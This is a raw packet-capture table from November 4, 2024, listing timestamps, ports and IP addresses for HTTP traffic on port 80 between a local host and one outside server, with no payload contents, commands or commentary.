Nov 4, 2024 16:52:38.424845934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424849987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424861908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424879074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424890995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424896955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424902916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424902916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424904108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424909115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424933910 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425012112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425019026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425031900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425038099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425041914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425045967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425059080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425065994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425069094 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425072908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425086975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425095081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425174952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425182104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425188065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425194025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425199986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425201893 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425206900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425219059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425225973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425231934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425237894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425242901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425245047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425273895 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425273895 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425302029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425308943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425332069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425333977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425340891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425348043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425354004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425355911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425360918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425374031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425390005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425395966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425396919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425405979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425430059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425430059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425430059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425437927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425443888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425451040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425481081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425488949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425503969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425508022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425508022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425508976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425533056 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425544024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425550938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425565958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425573111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425621986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425621986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425632954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425640106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425652981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425683975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425690889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425718069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425748110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425755024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425767899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425777912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425801039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425806999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425820112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425827026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425829887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425859928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425859928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425915956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.425945997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425952911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425965071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425971031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.425976992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426000118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426027060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426033020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426044941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426052094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426055908 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426058054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426075935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426084042 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426100016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426172972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426181078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426192999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426199913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426204920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426207066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426213026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426218987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426222086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426225901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426232100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426246881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426254034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426265955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.426280022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426291943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.426311970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.474977970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475003958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475008965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475023985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475030899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475042105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475048065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475054026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475121021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475121975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475195885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475230932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475236893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475250006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475294113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475298882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475311041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475326061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475326061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475349903 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475398064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475408077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475414038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475426912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475433111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475438118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475444078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475449085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475454092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475455999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475467920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475481033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475549936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475565910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475574017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475578070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475584030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475589991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475595951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475617886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475622892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475634098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475639105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475646019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475646019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475646019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475652933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475682020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475682020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475708961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475714922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475733995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475739956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475744963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475750923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475756884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475760937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475775003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475775003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475816965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475909948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475923061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475934029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475939989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475945950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475956917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475963116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475969076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475969076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.475984097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.475989103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476000071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476005077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476011992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476011992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476016045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476022959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476064920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476064920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476099014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476104975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476115942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476121902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476126909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476133108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476155043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476181030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476186991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476198912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476203918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476207018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476213932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476219893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476226091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476265907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476268053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476268053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476342916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476355076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476361036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476418018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476440907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476494074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476507902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476516008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476531029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476536989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476547956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476552963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476560116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476562023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476597071 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476614952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476620913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476632118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476636887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476644993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476646900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476654053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476670027 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476726055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476732016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476742983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476748943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476753950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476756096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476759911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476771116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476780891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476780891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476804972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476813078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476824045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476830959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476835012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476871014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476871014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476883888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476891041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476902008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476907969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476913929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476914883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.476922035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.476946115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477008104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477014065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477018118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477020025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477026939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477030993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477037907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477050066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477056026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477061033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477075100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477082968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477088928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477099895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477104902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477111101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477113962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477139950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477139950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477199078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477215052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477221012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477224112 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477226973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477232933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477241993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477243900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477251053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477261066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477268934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477286100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477330923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477349997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477360010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477364063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477375984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477391005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477396965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477407932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477413893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477420092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477425098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477438927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477444887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477444887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477452040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477490902 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477490902 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477513075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477519035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477530956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477535963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477543116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477571964 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477571964 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477643967 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477644920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477653027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477658987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477669954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477674961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477679014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477689028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477690935 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477695942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477706909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477714062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477721930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477771044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477777004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477787971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477793932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477796078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477798939 CET	80	59474	89.40.31.232	192.168.2.6
